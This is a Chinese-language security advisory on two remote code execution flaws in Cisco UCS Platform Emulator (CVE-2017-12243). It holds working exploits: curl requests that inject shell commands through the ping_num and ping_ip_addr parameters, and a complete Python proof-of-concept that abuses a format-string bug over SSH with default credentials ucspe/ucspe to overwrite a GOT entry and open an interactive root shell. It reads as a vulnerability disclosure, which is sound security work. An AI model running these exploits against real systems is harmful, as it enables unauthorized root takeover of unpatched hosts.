漏洞概要
以下安全公告描述了在思科UCS平台模拟器3.1(2ePE1)中发现的两个远程代码执行漏洞。
思科UCS平台模拟器是捆绑到虚拟机(VM)中的Cisco UCS Manager应用程序,VM包含模拟思科统一计算系统(Cisco UCS)硬件通信的软件,思科统一计算系统(Cisco UCS)硬件由思科UCS Manager配置和管理。 例如,你可以使用思科UCS平台模拟器来创建和测试支持的思科UCS配置,或者复制现有的思科UCS环境,以进行故障排除或开发。
在思科UCS平台模拟器中发现的漏洞是:
- 未经验证的远程代码执行漏洞
- 经认证的远程代码执行漏洞
一名独立的安全研究者向 Beyond Security 的 SSD 报告了该漏洞。
厂商响应
厂商已经发布了该漏洞的补丁,并发布以下CVE: CVE-2017-12243
漏洞详细信息
未经验证的远程代码执行漏洞
由于用户的输入在传递给IP/settings/ping函数时没有进行充分的过滤,导致未经身份验证的攻击者可以通过ping_NUM和ping_IP_ADDR参数注入命令,这些命令将在远程机器上以root身份执行。
漏洞证明
curl "http://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#" curl -k "https://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#" curl "http://IP/settings/ping?ping_num=1%3bid%3b#&ping_ip_addr=127.0.0.1" curl -k "https://IP/settings/ping?ping_num=1%3buname+-a%3b#&ping_ip_addr=127.0.0.1"
通过发送以上请求之一后,思科 UCS响应如下:
/sample output/ ================ demo@kali:~/poc$ curl -k "http://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#" PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.017 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms Linux ucspe 2.6.32-431.el6.i686 #1 SMP Fri Nov 22 00:26:36 UTC 2013 i686 i686 i386 GNU/Linux demo@kali:~/poc$ curl "http://IP/settings/ping?ping_num=1%3bid%3b#&ping_ip_addr=127.0.0.1" uid=0(root) gid=0(root) groups=0(root)
经认证的远程代码执行漏洞
思科UCS平台模拟器容易受到格式字符串漏洞的攻击,导致远程代码执行。
思科UCS平台模拟器默认运行一个SSH服务器,通过ssh登录的用户运行以下命令:
show sel %x
得到下面的响应:
"Error: Invalid rack server value: ...somedigits.."
可以看到,通过执行ssh“show sel %x”命令,我们用libsamvsh.so中的system函数覆写了_ZN7clidcos15CommandEmulator16cli_param_filterEPKc函数的入口。
漏洞证明
为了利用此漏洞,请按照以下说明操作:
使用以下用户名和密码在vm上安装ucspe(安装全部3个网卡):
- 默认的ucspe用户:ucspe
- 默认的ucspe密码:ucspe
运行ucspe并记下ucspe的ip地址(在控制台可以看到“Connected to IP: ….”)
在这次漏洞证明中,我们将会使用ip-192.168.1.43。
在另一台机器上打开两个终端(例如Kali)
首先,在第一个终端上执行如下操作:
- 创建poc目录,将poc4_ucspe_3.1.2e.py放入poc目录,然后将当前目录改为poc目录
- 创建fifo1:
- 创建输出目录:
- 使用从fifo1重定向的stdin运行ssh,并将stdout重定向到output/log文件:
mkfifo fifo1
mkdir output
tail -f fifo1 | ssh ucspe@192.168.1.43 > output/log # use default credentials ucspe/ucspe
然后,第二个终端上执行如下操作:
- 将当前目录更改为poc
- 运行 poc4_ucspe_3.1.2e.py
执行后的输出如下:
终端1
demo@kali:~/poc$ mkfifo fifo1 demo@kali:~/poc$ mkdir output demo@kali:~/poc$ tail -f fifo1 | ssh ucspe@192.168.1.43 > output/log Pseudo-terminal will not be allocated because stdin is not a terminal. The authenticity of host '192.168.1.43 (192.168.1.43)' can't be established. RSA key fingerprint is SHA256:qEdgqNFyfqA2BU1+cH9rmYrsIOiQr/NlCpgAyzrX70Y. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.1.43' (RSA) to the list of known hosts. uucspe@192.168.1.43's password: TERM environment variable not set.
终端2
demo@kali:~/poc$ python poc4_ucspe_3.1.2e.py Going through some menus please wait a moment.. You should now see on the other terminal message simmilar to "Error: Already in local-mgmt shell.." [.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from libsamvsh.so -> 0x6b9f64 [.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt -> 0x6d7a70 [.] Dumping snprintf address from libc -> 0x7791210 [.] Calculating libc system address -> libc base addr = 0x7746000 -> system addr = 0x7780f60 [.] Sending payload.. show sel %62c%28$nAAA show sel %237c%28$nAA show sel %86c%28$nAAA show sel %229c%28$nAA Sleep for fork adjustment.. Ok please type your commands (type exit for exit) > id ['uid=0(root) gid=0(root) groups=0(root)'] >
poc4_ucspe_3.1.2e.py
import struct import time import binascii def generate_payload(addr): basepayload = "show sel AAAAAAAAAAAA" aa = (addr >> 24 & 0xff) bb = (addr >> 16 & 0xff) cc = (addr >> 8 & 0xff) dd = (addr >> 0 & 0xff) if aa<34: aa_c_payload = aa + 222 else: aa_c_payload = aa - 34 if bb<34: bb_c_payload = bb + 222 else: bb_c_payload = bb - 34 if cc<34: cc_c_payload = cc + 222 else: cc_c_payload = cc - 34 if dd<34: dd_c_payload = dd + 222 else: dd_c_payload = dd - 34 aa_payload = "%" + str(aa_c_payload) + "c%28$n" bb_payload = "%" + str(bb_c_payload) + "c%28$n" cc_payload = "%" + str(cc_c_payload) + "c%28$n" dd_payload = "%" + str(dd_c_payload) + "c%28$n" aap = basepayload[:9] + aa_payload + basepayload[len(aa_payload)+9:] bbp = basepayload[:9] + bb_payload + basepayload[len(bb_payload)+9:] ccp = basepayload[:9] + cc_payload + basepayload[len(cc_payload)+9:] ddp = basepayload[:9] + dd_payload + basepayload[len(dd_payload)+9:] return [aap,bbp,ccp,ddp] def clearlog(): fo = open("output/log","w") fo.truncate() fo.close() def readlog(): logread = [line.strip('\n\0x00') for line in open('output/log')] return logread def sendcommand(cmd): f=open("fifo1", "a+") f.write(cmd+"\n") f.close() def dump(adr, frmt='p'): clearlog() leak_part = "show sel %28${}".format(frmt) raw_addr = struct.pack("I", adr) if "\x20" in raw_addr: print "space!" out = leak_part + "AAAAAAA"+raw_addr sendcommand(out) time.sleep(2) e = readlog()[0] outbin = e.split("AAAAAAA")[0].split(": ")[2] clearlog() return outbin+"\x00" def starting_point(): clearlog() out = "show sel %147$x" sendcommand(out) time.sleep(2) e = readlog()[0] outbin = e.split("AAAAAAA")[0].split(":")[2] clearlog() return outbin clidcos_step = 0x1DB0C libc_emulator_snprintf = 0x0004b210 libc_emulator_system = 0x0003af60 print "Going through some menus please wait a moment.." sendcommand("c") time.sleep(1) sendcommand("show version") time.sleep(1) sendcommand("connect local-mgmt") time.sleep(1) sendcommand("connect local-mgmt") time.sleep(1) sendcommand("show version") time.sleep(5) clearlog() print "You should now see on the other terminal message simmilar to \"Error: Already in local-mgmt shell..\" " print "[.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from libsamvsh.so" off3 = int(starting_point(),16) print " -> " + hex(off3) print "[.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt" clidcosGOTPLT = off3+clidcos_step print " -> " + hex(clidcosGOTPLT) print "[.] Dumping snprintf address from libc" libc_printf = dump(clidcosGOTPLT+8,'s')[:4] libc_tmp1_hex = binascii.hexlify(libc_printf[::-1]) libc_snprintf_addr = int(libc_tmp1_hex, 16) print " -> " + hex(libc_snprintf_addr) print "[.] Calculating libc system address" libc_base_addr = libc_snprintf_addr - libc_emulator_snprintf print " -> libc base addr = " + hex(libc_base_addr) libc_system_addr = libc_base_addr + libc_emulator_system print " -> system addr = " + hex(libc_system_addr) print "\n[.] Sending payload.." sendcommand(generate_payload(libc_system_addr)[3] + struct.pack("I", clidcosGOTPLT)) print generate_payload(libc_system_addr)[3] sendcommand("show version") time.sleep(1) sendcommand(generate_payload(libc_system_addr)[2] + struct.pack("I", clidcosGOTPLT+1)) print generate_payload(libc_system_addr)[2] sendcommand("show version") time.sleep(1) sendcommand(generate_payload(libc_system_addr)[1] + struct.pack("I", clidcosGOTPLT+2)) print generate_payload(libc_system_addr)[1] sendcommand("show version") time.sleep(1) sendcommand(generate_payload(libc_system_addr)[0] + struct.pack("I", clidcosGOTPLT+3)) print generate_payload(libc_system_addr)[0] sendcommand("show version") time.sleep(1) print "Sleep for fork adjustment.." time.sleep(5) sendcommand("ssh /bin/bash") print "Ok please type your commands (type exit for exit)" time.sleep(2) while True: n = raw_input("> ") if 'exit' in n: break clearlog() sendcommand(n) time.sleep(2) print readlog()